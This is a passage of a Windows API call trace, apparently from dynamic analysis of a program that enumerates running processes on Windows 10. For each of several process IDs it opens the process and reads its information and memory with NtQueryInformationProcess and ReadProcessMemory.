_Buffer="4084") returned 0x0 [0265.836] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4084") returned 4 [0265.837] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.838] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.851] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff4) returned 0x16c [0265.851] GetLastError () returned 0x0 [0265.852] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc22fc240, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.854] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.950] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.950] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.950] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.950] malloc (_Size=0x4e) returned 0x20abc2a7420 [0265.950] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a193e, lpBuffer=0x20abc2a7420, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7420*, lpNumberOfBytesRead=0x0) returned 1 [0265.951] free (_Block=0x20abc2a7420) [0265.952] CloseHandle (hObject=0x16c) returned 1 [0265.952] _ui64tow_s (in: _Value=0xffc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0265.955] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4092") returned 4 [0265.956] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.956] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0x16c [0265.973] GetLastError () returned 0x0 [0265.974] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.974] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x257018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.974] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.975] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x641ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.975] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6418f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.976] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.977] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.977] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x257020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.978] malloc (_Size=0x6e) returned 0x20abc2831b0 [0265.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x64195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0265.978] free (_Block=0x20abc2831b0) [0265.979] CloseHandle (hObject=0x16c) returned 1 [0265.980] _ui64tow_s (in: _Value=0xb70, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2928") returned 0x0 [0265.983] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2928") returned 4 [0265.984] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.984] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.059] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x16c [0266.059] GetLastError () returned 0x0 [0266.060] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.061] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a7018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.061] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.061] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.061] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.062] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.064] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.064] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a7020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.064] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.064] malloc (_Size=0x68) returned 0x20abc280840 [0266.064] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521958, lpBuffer=0x20abc280840, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0266.065] free (_Block=0x20abc280840) [0266.065] CloseHandle (hObject=0x16c) returned 1 [0266.066] _ui64tow_s (in: _Value=0x420, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1056") returned 0x0 [0266.069] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1056") returned 4 [0266.070] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.070] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x420) returned 0x16c [0266.083] GetLastError () returned 0x0 [0266.084] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.084] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x27e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.085] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.085] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x111d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.085] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1118f8, lpBuffer=0x2dc22fc240, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.086] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.087] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.087] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x27e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.088] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.088] malloc (_Size=0x7e) returned 0x20abc286260 [0266.088] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11196e, lpBuffer=0x20abc286260, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286260*, lpNumberOfBytesRead=0x0) returned 1 [0266.089] free (_Block=0x20abc286260) [0266.136] CloseHandle (hObject=0x16c) returned 1 [0266.136] _ui64tow_s (in: _Value=0xec0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3776") returned 0x0 [0266.140] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3776") returned 4 [0266.141] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.141] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.155] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec0) returned 0x16c [0266.155] GetLastError () returned 0x0 [0266.156] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.156] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.157] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.157] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x531d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.157] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5318f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.158] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.159] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.160] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.160] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5312e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.160] malloc (_Size=0x7a) returned 0x20abc285600 [0266.160] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x53196a, lpBuffer=0x20abc285600, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285600*, lpNumberOfBytesRead=0x0) returned 1 [0266.161] free (_Block=0x20abc285600) [0266.161] CloseHandle (hObject=0x16c) returned 1 [0266.161] _ui64tow_s (in: _Value=0x1004, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0266.165] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4100") returned 4 [0266.166] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.166] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x16c [0266.181] GetLastError () returned 0x0 [0266.183] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.183] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x350018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.199] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.199] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.199] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.200] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.202] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.202] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x350020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.202] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.202] malloc (_Size=0x78) returned 0x20abc282120 [0266.202] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0266.203] free (_Block=0x20abc282120) [0266.204] CloseHandle (hObject=0x16c) returned 1 [0266.204] _ui64tow_s (in: _Value=0x1014, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4116") returned 0x0 [0266.209] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4116") returned 4 [0266.210] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.210] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.224] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1014) returned 0x16c [0266.224] GetLastError () returned 0x0 [0266.225] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.225] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x314018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.226] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.226] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.226] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.227] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.229] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.229] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x314020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.229] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.229] malloc (_Size=0x78) returned 0x20abc282120 [0266.229] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0266.230] free (_Block=0x20abc282120) [0266.238] CloseHandle (hObject=0x16c) returned 1 [0266.238] _ui64tow_s (in: _Value=0x101c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0266.242] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4124") returned 4 [0266.243] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.243] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.264] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0x16c [0266.264] GetLastError () returned 0x0 [0266.265] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.265] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.266] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.266] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.266] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.267] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.269] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.269] 